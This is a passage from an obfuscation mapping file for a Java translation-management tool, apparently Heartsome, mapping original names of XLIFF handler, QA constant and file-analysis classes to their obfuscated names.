getTMXFileContent(java.util.List,java.lang.String,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> getTMXFileContent + java.lang.StringBuffer generateTMXFileContent(java.lang.String,java.util.List,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,org.eclipse.core.resources.IProject) -> generateTMXFileContent + java.lang.String[] generateTMXToUpdateTM(org.eclipse.core.resources.IFile,boolean,boolean,boolean,boolean,boolean,int,java.lang.String) -> generateTMXToUpdateTM + java.lang.String generateTMXString(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,com.ximpleware.VTDNav,boolean,boolean,boolean,boolean,boolean,int,org.eclipse.core.resources.IProject) -> generateTMXString + java.lang.String getProjectProp(org.eclipse.core.resources.IProject) -> getProjectProp + java.lang.String generateTBXWithString(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> generateTBXWithString + java.lang.String genTuId(java.lang.String,java.lang.String) -> A + void removeNullTgtContentRowId(java.util.List) -> removeNullTgtContentRowId + void removeLockedRowIds(java.util.List) -> removeLockedRowIds + java.util.LinkedHashMap getCustomMatchFilterMap() -> getCustomMatchFilterMap + java.util.LinkedHashMap getCustomMatchFilterAdditionMap() -> getCustomMatchFilterAdditionMap + java.util.LinkedHashMap getCustomMatchFilterIndexMap() -> getCustomMatchFilterIndexMap + java.util.Map getXliffInfo(boolean) -> t + java.util.Map checkTargetLanguage() -> checkTargetLanguage + java.util.Map getXliffInfo() -> getXliffInfo + void updateLanguages(java.lang.String,java.util.List) -> updateLanguages + int getFileCountInXliff(java.lang.String) -> getFileCountInXliff + void reset() -> reset + boolean validateMultiFileNodes(java.lang.String) -> validateMultiFileNodes + boolean saveAsText(java.lang.String,java.lang.String,java.lang.String) -> saveAsText + boolean saveAsHtml(java.lang.String,java.lang.String,java.lang.String) -> saveAsHtml + boolean validateSplitXlf(java.lang.String) -> validateSplitXlf + boolean validateSplitedXlf(java.lang.String) -> validateSplitedXlf + java.util.Map getOldSplitInfo(java.lang.String) -> getOldSplitInfo + java.lang.String getNodeHeader(java.lang.String,java.lang.String,java.lang.String) -> getNodeHeader + java.lang.String getNodeFrag(java.lang.String,java.lang.String) -> getNodeFrag + java.lang.String getTUFragByRowId(java.lang.String) -> getTUFragByRowId + java.util.Map getFileInfo(java.lang.String) -> getFileInfo + int getAllTransUnitNum(java.lang.String) -> getAllTransUnitNum + void addDataToXlf(java.lang.String,java.lang.String,java.lang.String) -> addDataToXlf + void addNewInfoToSplitXlf(java.lang.String,java.util.Map) -> addNewInfoToSplitXlf + java.lang.String getNodeContent(java.lang.String,java.lang.String) -> getNodeContent + void deleteLastSplitInfo(java.lang.String) -> deleteLastSplitInfo + java.lang.String getSplitOriginalName(java.lang.String) -> getSplitOriginalName + void deleteSplitInfoParent(java.lang.String) -> deleteSplitInfoParent + int getNodeCount(java.lang.String,java.lang.String) -> getNodeCount + int getTranslatedCount() -> getTranslatedCount + int getApprovedCount() -> getApprovedCount + java.util.Hashtable getNodeAttributes(java.lang.String,java.lang.String) -> getNodeAttributes + java.lang.String getNodeAttribute(java.lang.String,java.lang.String,java.lang.String) -> getNodeAttribute + java.lang.String getTUPureTextByRowId(java.lang.String,boolean) -> getTUPureTextByRowId + java.lang.String getTUFullTextByRowId(java.lang.String,boolean) -> getTUFullTextByRowId + java.util.Map getFullAndPureText(java.lang.String,java.lang.String) -> getFullAndPureText + java.lang.String getTUPureText(com.ximpleware.VTDNav) -> getTUPureText + java.lang.String getSubNodePureText(com.ximpleware.VTDNav) -> getSubNodePureText + void vnToXpath(java.lang.String,java.lang.String) -> vnToXpath + void deleteNodeByXpath(java.lang.String,java.lang.String) -> deleteNodeByXpath + void insert(java.lang.String,java.lang.String) -> insert + void lockTransUnit(java.lang.String,java.lang.String) -> lockTransUnit + java.util.Map getTransUnitContext(java.lang.String,int) -> getTransUnitContext + net.heartsome.cat.ts.core.qa.QATUDataBean getAutoQAFilteredTUText(java.lang.String,java.util.Map) -> getAutoQAFilteredTUText + boolean filterTheTU(com.ximpleware.VTDNav,java.util.Map) -> filterTheTU + java.util.List getMultiFiles(org.eclipse.core.resources.IFile) -> getMultiFiles + java.lang.String getCaseTgtContent(java.lang.String) -> getCaseTgtContent + java.lang.Integer getTUPositionByRowId(java.lang.String) -> getTUPositionByRowId + java.util.Map getTUsrcText(java.lang.String,java.lang.String,int) -> getTUsrcText + java.lang.String getNextRowId(java.lang.String,java.lang.String) -> getNextRowId + java.util.Map getSplitNodeIdx(java.lang.String,java.lang.String) -> getSplitNodeIdx + java.lang.String getSplitTuData(java.lang.String,int,int,java.lang.String,java.lang.String,boolean,boolean) -> getSplitTuData + void operateMergedXliff(java.lang.String) -> operateMergedXliff + void lockFaTU(java.util.List) -> lockFaTU + java.util.Map getAllSrcTextForRepeat(java.lang.String,boolean,java.lang.String,java.lang.String) -> getAllSrcTextForRepeat + java.util.Map getAllSrcTextForFuzzy(java.util.ArrayList,boolean) -> getAllSrcTextForFuzzy + void unlockSegment() -> unlockSegment + java.util.List getFiles() -> getFiles + java.util.Map getSplitFileInfoForPointSetting(java.lang.String) -> getSplitFileInfoForPointSetting + boolean access$0(net.heartsome.cat.ts.core.file.XLFHandler,com.ximpleware.VTDNav,java.lang.String,com.ximpleware.XMLModifier) -> a + boolean access$1(net.heartsome.cat.ts.core.file.XLFHandler,com.ximpleware.VTDNav,java.lang.String,com.ximpleware.XMLModifier) -> b + void access$2(net.heartsome.cat.ts.core.file.XLFHandler,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,java.lang.String,java.lang.String[]) -> a + void access$3(net.heartsome.cat.ts.core.file.XLFHandler,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> a + java.util.ArrayList access$4(net.heartsome.cat.ts.core.file.XLFHandler) -> a +net.heartsome.cat.ts.core.file.XLFHandler$1 -> net.heartsome.cat.ts.core.file.XLFHandler$1: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + int compare(net.heartsome.cat.ts.core.bean.AltTransBean,net.heartsome.cat.ts.core.bean.AltTransBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.core.file.XLFHandler$10 -> net.heartsome.cat.ts.core.file.XLFHandler$10: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$matchType -> wo + java.lang.String val$quality -> wp + java.lang.String val$_newValue -> Nz + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$11 -> net.heartsome.cat.ts.core.file.XLFHandler$11: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$quality -> wp + java.util.Map val$map -> RP + java.lang.String val$matchType -> wo + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$12 -> net.heartsome.cat.ts.core.file.XLFHandler$12: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$13 -> net.heartsome.cat.ts.core.file.XLFHandler$13: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + java.util.Map val$map -> RP + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$14 -> net.heartsome.cat.ts.core.file.XLFHandler$14: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + java.lang.String val$propValue -> RQ + java.lang.String[] val$currentValueRange -> ws + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$15 -> net.heartsome.cat.ts.core.file.XLFHandler$15: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + java.util.Map val$map -> RP + java.lang.String[] val$currentValueRange -> ws + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$16 -> net.heartsome.cat.ts.core.file.XLFHandler$16: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + java.lang.String val$propValue -> RQ + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$17 -> net.heartsome.cat.ts.core.file.XLFHandler$17: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$state -> wt + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$18 -> net.heartsome.cat.ts.core.file.XLFHandler$18: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + java.util.Map val$map -> RP + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$19 -> net.heartsome.cat.ts.core.file.XLFHandler$19: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$2 -> net.heartsome.cat.ts.core.file.XLFHandler$2: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + boolean val$approve -> wu + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$20 -> net.heartsome.cat.ts.core.file.XLFHandler$20: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$subXPath -> wq + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$21 -> net.heartsome.cat.ts.core.file.XLFHandler$21: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + boolean val$isAsc -> RR + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.core.file.XLFHandler$22 -> net.heartsome.cat.ts.core.file.XLFHandler$22: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$23 -> net.heartsome.cat.ts.core.file.XLFHandler$23: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.util.HashMap val$map -> RS + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$24 -> net.heartsome.cat.ts.core.file.XLFHandler$24: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$25 -> net.heartsome.cat.ts.core.file.XLFHandler$25: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$26 -> net.heartsome.cat.ts.core.file.XLFHandler$26: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$27 -> net.heartsome.cat.ts.core.file.XLFHandler$27: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$28 -> net.heartsome.cat.ts.core.file.XLFHandler$28: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + int val$minMatchQuality -> RT + java.util.HashMap val$map -> RS + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$3 -> net.heartsome.cat.ts.core.file.XLFHandler$3: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + boolean val$approve -> wu + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$4 -> net.heartsome.cat.ts.core.file.XLFHandler$4: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$translateValue -> wx + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$5 -> net.heartsome.cat.ts.core.file.XLFHandler$5: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$translateValue -> wx + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$6 -> net.heartsome.cat.ts.core.file.XLFHandler$6: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$xpath -> Zp + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$7 -> net.heartsome.cat.ts.core.file.XLFHandler$7: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$quality -> wp + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$8 -> net.heartsome.cat.ts.core.file.XLFHandler$8: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$quality -> wp + java.lang.String val$matchType -> wo + java.lang.String val$_newValue -> Nz + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$9 -> net.heartsome.cat.ts.core.file.XLFHandler$9: + net.heartsome.cat.ts.core.file.XLFHandler this$0 -> wm + java.lang.String val$quality -> wp + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$PerFileHandler -> net.heartsome.cat.ts.core.file.XLFHandler$PerFileHandler: + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLFHandler$PerSegmentHandler -> net.heartsome.cat.ts.core.file.XLFHandler$PerSegmentHandler: + void handle(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier) -> handle +net.heartsome.cat.ts.core.file.XLPHandler -> net.heartsome.cat.ts.core.file.XLPHandler: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String FILE_SEPARATOR -> FILE_SEPARATOR + java.lang.String LINE_SEPARATOR -> LINE_SEPARATOR + java.lang.String ATTR_DEFAULT_FORMAT -> ATTR_DEFAULT_FORMAT + java.lang.String ATTR_FORMAT -> ATTR_FORMAT + java.lang.String ATTR_SRC_LANG -> ATTR_SRC_LANG + java.lang.String ATTR_SRC_ENC -> ATTR_SRC_ENC + java.lang.String ATTR_TGT_ENC -> ATTR_TGT_ENC + java.lang.String ATTR_SOURCE -> ATTR_SOURCE + java.lang.String ATTR_XLIFF -> ATTR_XLIFF + java.lang.String ATTR_TARGET -> ATTR_TARGET + java.lang.String FILENAME -> FILENAME + com.ximpleware.VTDNav vn -> vn + java.lang.String xlpPath -> wz + com.ximpleware.VTDNav openFile(java.lang.String) -> cF + boolean IsXLPFile() -> IsXLPFile + java.util.Map getDefaultItem() -> getDefaultItem + java.util.List getItems(java.lang.String,java.util.List) -> getItems + void saveSourceInfo(java.util.List) -> saveSourceInfo + void saveXliffInfo(java.util.List) -> saveXliffInfo + void updateAttribute(com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> a + void save(com.ximpleware.XMLModifier) -> a +net.heartsome.cat.ts.core.qa.CountWord -> net.heartsome.cat.ts.core.qa.CountWord: + int wordCount(java.lang.String,java.lang.String) -> wordCount + void main(java.lang.String[]) -> main + int europeanCount(java.lang.String) -> cB + int wordCount_old(java.lang.String,java.lang.String) -> wordCount_old + int chineseCount(java.lang.String) -> cA + int europeanCount_old(java.lang.String) -> es + boolean isFormatNumber(java.lang.String) -> isFormatNumber +net.heartsome.cat.ts.core.qa.FAModel -> net.heartsome.cat.ts.core.qa.FAModel: + java.util.List analysisIFileList -> wA + java.util.Map analysisItemMap -> wB + org.eclipse.swt.widgets.Shell shell -> shell + int allTuSize -> wC + boolean isLockExter101 -> wD + boolean isLockExter100 -> wE + boolean isLockInterRepeat -> wF + boolean isMultiFile -> isMultiFile + org.eclipse.core.resources.IFile multiTempIFile -> wG + java.util.List errorIFileList -> aaH + int subFileNum -> aaI + java.util.List getAnalysisIFileList() -> getAnalysisIFileList + void setAnalysisIFileList(java.util.List) -> setAnalysisIFileList + java.util.Map getAnalysisItemMap() -> getAnalysisItemMap + org.eclipse.swt.widgets.Shell getShell() -> getShell + void setShell(org.eclipse.swt.widgets.Shell) -> setShell + int getAllTuSize() -> getAllTuSize + void setAllTuSize(int) -> setAllTuSize + boolean isLockExter101() -> isLockExter101 + void setLockExter101(boolean) -> setLockExter101 + boolean isLockExter100() -> isLockExter100 + void setLockExter100(boolean) -> setLockExter100 + boolean isLockInterRepeat() -> isLockInterRepeat + void setLockInterRepeat(boolean) -> setLockInterRepeat + boolean isMultiFile() -> isMultiFile + void setMultiFile(boolean) -> setMultiFile + org.eclipse.core.resources.IFile getMultiTempIFile() -> getMultiTempIFile + void setMultiTempIFile(org.eclipse.core.resources.IFile) -> setMultiTempIFile + java.util.List getErrorIFileList() -> getErrorIFileList + void setErrorIFileList(java.util.List) -> setErrorIFileList + int getSubFileNum() -> getSubFileNum + void setSubFileNum(int) -> setSubFileNum +net.heartsome.cat.ts.core.qa.FileAnalysis -> net.heartsome.cat.ts.core.qa.FileAnalysis: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.core.qa.FAModel model -> wH + int beginAnalysis(net.heartsome.cat.ts.core.qa.FAModel,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> beginAnalysis + int beginAnalysis_1(net.heartsome.cat.ts.core.qa.FAModel,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> beginAnalysis_1 + void getAllFolder(org.eclipse.core.resources.IContainer,java.util.List) -> getAllFolder + boolean hasFAIFiles(org.eclipse.core.resources.IContainer) -> hasFAIFiles + void setModel(net.heartsome.cat.ts.core.qa.FAModel) -> setModel +net.heartsome.cat.ts.core.qa.ParaConsisDataBean -> net.heartsome.cat.ts.core.qa.ParaConsisDataBean: + int lineNumber -> lineNumber + java.lang.String srcPureText -> wI + java.lang.String srcContent -> vp + java.lang.String tgtPureText -> wJ + java.lang.String tgtContent -> vq + int getLineNumber() -> getLineNumber + void setLineNumber(int) -> setLineNumber + java.lang.String getSrcPureText() -> getSrcPureText + void setSrcPureText(java.lang.String) -> setSrcPureText + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtPureText() -> getTgtPureText + void setTgtPureText(java.lang.String) -> setTgtPureText + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent +net.heartsome.cat.ts.core.qa.QAConstant -> net.heartsome.cat.ts.core.qa.QAConstant: + int RETURNVALUE_RESULT_SUCCESSFUL -> RETURNVALUE_RESULT_SUCCESSFUL + java.lang.String RETURNVALUE_RESULT -> RETURNVALUE_RESULT + int MODE_DEBUG -> MODE_DEBUG + int RUNNING_MODE -> RUNNING_MODE + int RETURNVALUE_RESULT_FAILURE -> RETURNVALUE_RESULT_FAILURE + java.lang.String RETURNVALUE_MSG -> RETURNVALUE_MSG + java.lang.String RETURNVALUE_EXCEPTION -> RETURNVALUE_EXCEPTION + java.lang.String RETURNVALUE_RESULT_RETURN -> RETURNVALUE_RESULT_RETURN + int QA_ZERO -> QA_ZERO + int QA_FIRST -> QA_FIRST + int QA_TWO -> QA_TWO + int QA_THREE -> QA_THREE + int QA_CENTERKEY_1 -> QA_CENTERKEY_1 + int QA_CENTERKEY_2 -> QA_CENTERKEY_2 + java.lang.String QA_NULL_STRING -> QA_NULL_STRING + java.lang.String QA_ONE_BLANK -> QA_ONE_BLANK + java.lang.String QA_TWO_BLANK -> QA_TWO_BLANK + char QA_ONE_SPACE_CHAR -> QA_ONE_SPACE_CHAR + java.lang.String QA_g -> QA_g + java.lang.String QA_x -> QA_x + java.lang.String QA_bx -> QA_bx + java.lang.String QA_ex -> QA_ex + java.lang.String QA_bpt -> QA_bpt + java.lang.String QA_ept -> QA_ept + java.lang.String QA_ph -> QA_ph + java.lang.String QA_it -> QA_it + java.lang.String QA_mrk -> QA_mrk + java.lang.String QA_sub -> QA_sub + java.lang.String QA_TERM -> QA_TERM + java.lang.String QA_PARAGRAPH -> QA_PARAGRAPH + java.lang.String QA_NUMBER -> QA_NUMBER + java.lang.String QA_TAG -> QA_TAG + java.lang.String QA_NONTRANSLATION -> QA_NONTRANSLATION + java.lang.String QA_SPACEOFPARACHECK -> QA_SPACEOFPARACHECK + java.lang.String QA_PARACOMPLETENESS -> QA_PARACOMPLETENESS + java.lang.String QA_TGTTEXTLENGTHLIMIT -> QA_TGTTEXTLENGTHLIMIT + java.lang.String QA_SPELL -> QA_SPELL + java.lang.String QA_ITEM_NAME -> QA_ITEM_NAME + java.lang.String QA_ITEM_CLASSNAME -> QA_ITEM_CLASSNAME + java.lang.String QA_TAGNAME -> QA_TAGNAME + java.lang.String QA_TAGCONTENT -> QA_TAGCONTENT + java.lang.String QA_NONTRANS_ID -> QA_NONTRANS_ID + java.lang.String QA_NONTRANS_NAME -> QA_NONTRANS_NAME + java.lang.String QA_NONTRANS_CONTENT -> QA_NONTRANS_CONTENT + java.lang.String QA_NONTRANS_REGULAR -> QA_NONTRANS_REGULAR + java.lang.String QA_NONTRANS_config -> QA_NONTRANS_config + java.lang.String QA_NONTRANS_STARTCHAR -> QA_NONTRANS_STARTCHAR + java.lang.String QA_NONTRANS_ENDCHAR -> QA_NONTRANS_ENDCHAR + java.lang.String QA_NONTRANS_STARTANDENDCHAR -> QA_NONTRANS_STARTANDENDCHAR + java.lang.String QA_NONTRANS_PRECHAR -> QA_NONTRANS_PRECHAR + java.lang.String QA_NONTRANS_LASTCHAR -> QA_NONTRANS_LASTCHAR + java.lang.String QA_NONTRANS_PREANDLASTCHAR -> QA_NONTRANS_PREANDLASTCHAR + java.lang.String QA_NONTRANS_ALLCHAR -> QA_NONTRANS_ALLCHAR + java.lang.String QA_NONTRANS_EQUALS -> QA_NONTRANS_EQUALS + java.lang.String QA_NONTRANS_NOTEQUALS -> QA_NONTRANS_NOTEQUALS + java.lang.String QA_NONTRANS_SPACE -> QA_NONTRANS_SPACE + java.lang.String QA_NONTRANS_COMMA -> QA_NONTRANS_COMMA + java.lang.String QA_NONTRANS_CAPITAL -> QA_NONTRANS_CAPITAL + java.lang.String QA_NONTRANS_LOWERCASE -> QA_NONTRANS_LOWERCASE + java.lang.String[] QA_NONTRANS_ARRAY_POSITION -> QA_NONTRANS_ARRAY_POSITION + java.lang.String[] QA_NONTRANS_ARRAY_OPERATE_EQUAL -> QA_NONTRANS_ARRAY_OPERATE_EQUAL + java.lang.String[] QA_NONTRANS_ARRAY_VALUE_LC -> QA_NONTRANS_ARRAY_VALUE_LC + java.lang.String[] QA_NONTRANS_ARRAY_VALUE_SC -> QA_NONTRANS_ARRAY_VALUE_SC + java.lang.String QA_SPELL_preferenceFolder -> QA_SPELL_preferenceFolder + java.lang.String QA_SPELL_ASPELLCONFIGFILE -> QA_SPELL_ASPELLCONFIGFILE + java.lang.String QA_SPELL_hunspellConfigFile -> QA_SPELL_hunspellConfigFile + java.lang.String QA_SPELL_hunspellDictionaryFolder -> QA_SPELL_hunspellDictionaryFolder + java.lang.String QA_SPELL_hunspellLibraryFolder -> QA_SPELL_hunspellLibraryFolder + java.lang.String QA_SPELL_hunspellFolder -> QA_SPELL_hunspellFolder + java.lang.String QA_PREF_CONTEXT_NOTINCLUDE -> QA_PREF_CONTEXT_NOTINCLUDE + java.lang.String QA_PREF_FULLMATCH_NOTINCLUDE -> QA_PREF_FULLMATCH_NOTINCLUDE + java.lang.String QA_PREF_LOCKED_NOTINCLUDE -> QA_PREF_LOCKED_NOTINCLUDE + java.lang.String QA_PREF_isCheckTgtMinLength -> QA_PREF_isCheckTgtMinLength + java.lang.String QA_PREF_isCheckTgtMaxLength -> QA_PREF_isCheckTgtMaxLength + java.lang.String QA_PREF_tgtMinLength -> QA_PREF_tgtMinLength + java.lang.String QA_PREF_tgtMaxLength -> QA_PREF_tgtMaxLength + java.lang.String QA_PREF_PARA_SAMESOURCE -> QA_PREF_PARA_SAMESOURCE + java.lang.String QA_PREF_PARA_SRC_IGNORCECASE -> QA_PREF_PARA_SRC_IGNORCECASE + java.lang.String QA_PREF_PARA_SRC_IGNORCETAG -> QA_PREF_PARA_SRC_IGNORCETAG + java.lang.String QA_PREF_PARA_SAMETARGET -> QA_PREF_PARA_SAMETARGET + java.lang.String QA_PREF_PARA_TAR_IGNORCECASE -> QA_PREF_PARA_TAR_IGNORCECASE + java.lang.String QA_PREF_PARA_TAR_IGNORCETAG -> QA_PREF_PARA_TAR_IGNORCETAG + java.lang.String QA_PREF_AUTO_QAITEMS -> QA_PREF_AUTO_QAITEMS + java.lang.String QA_PREF_BATCH_QAITEMS -> QA_PREF_BATCH_QAITEMS + java.lang.String QA_PREF_AUTO_QARUNTIME -> QA_PREF_AUTO_QARUNTIME + java.lang.String QA_PREF_term_TIPLEVEL -> QA_PREF_term_TIPLEVEL + java.lang.String QA_PREF_para_TIPLEVEL -> QA_PREF_para_TIPLEVEL + java.lang.String QA_PREF_number_TIPLEVEL -> QA_PREF_number_TIPLEVEL + java.lang.String QA_PREF_tag_TIPLEVEL -> QA_PREF_tag_TIPLEVEL + java.lang.String QA_PREF_nonTrans_TIPLEVEL -> QA_PREF_nonTrans_TIPLEVEL + java.lang.String QA_PREF_spaceOfPara_TIPLEVEL -> QA_PREF_spaceOfPara_TIPLEVEL + java.lang.String QA_PREF_paraComplete_TIPLEVEL -> QA_PREF_paraComplete_TIPLEVEL + java.lang.String QA_PREF_tgtLengthLimit_TIPLEVEL -> QA_PREF_tgtLengthLimit_TIPLEVEL + java.lang.String QA_PREF_spell_TIPLEVEL -> QA_PREF_spell_TIPLEVEL + java.lang.String QA_PREF_nonTrans_changeTag -> QA_PREF_nonTrans_changeTag + java.lang.String QA_PREF_isHunspell -> QA_PREF_isHunspell + java.lang.String QA_PREF_realTimeSpell -> QA_PREF_realTimeSpell + java.lang.String QA_PREF_ignoreNontrans -> QA_PREF_ignoreNontrans + java.lang.String QA_PREF_ignoreDigitalFirst -> QA_PREF_ignoreDigitalFirst + java.lang.String QA_PREF_ignoreUpperCaseFirst -> QA_PREF_ignoreUpperCaseFirst + java.lang.String QA_PREF_ignoreAllUpperCase -> QA_PREF_ignoreAllUpperCase + java.lang.String QA_PREF_aspellConfig_changeTag -> QA_PREF_aspellConfig_changeTag + java.lang.String FA_PREF_ignoreCase -> FA_PREF_ignoreCase + java.lang.String FA_PREF_ignoreTag -> FA_PREF_ignoreTag + java.lang.String FA_PREF_contextNum -> FA_PREF_contextNum + java.lang.String FA_PREF_tagPenalty -> FA_PREF_tagPenalty + java.lang.String FA_PREF_interRepeate -> FA_PREF_interRepeate + java.lang.String FA_PREF_interMatch -> FA_PREF_interMatch + java.lang.String FA_PREF_equivalent -> FA_PREF_equivalent + java.lang.String FA_ITEM_NAME -> FA_ITEM_NAME + java.lang.String FA_ITEM_CLASSNAME -> FA_ITEM_CLASSNAME + java.lang.String FA_WORDS_ANALYSIS -> FA_WORDS_ANALYSIS + java.lang.String 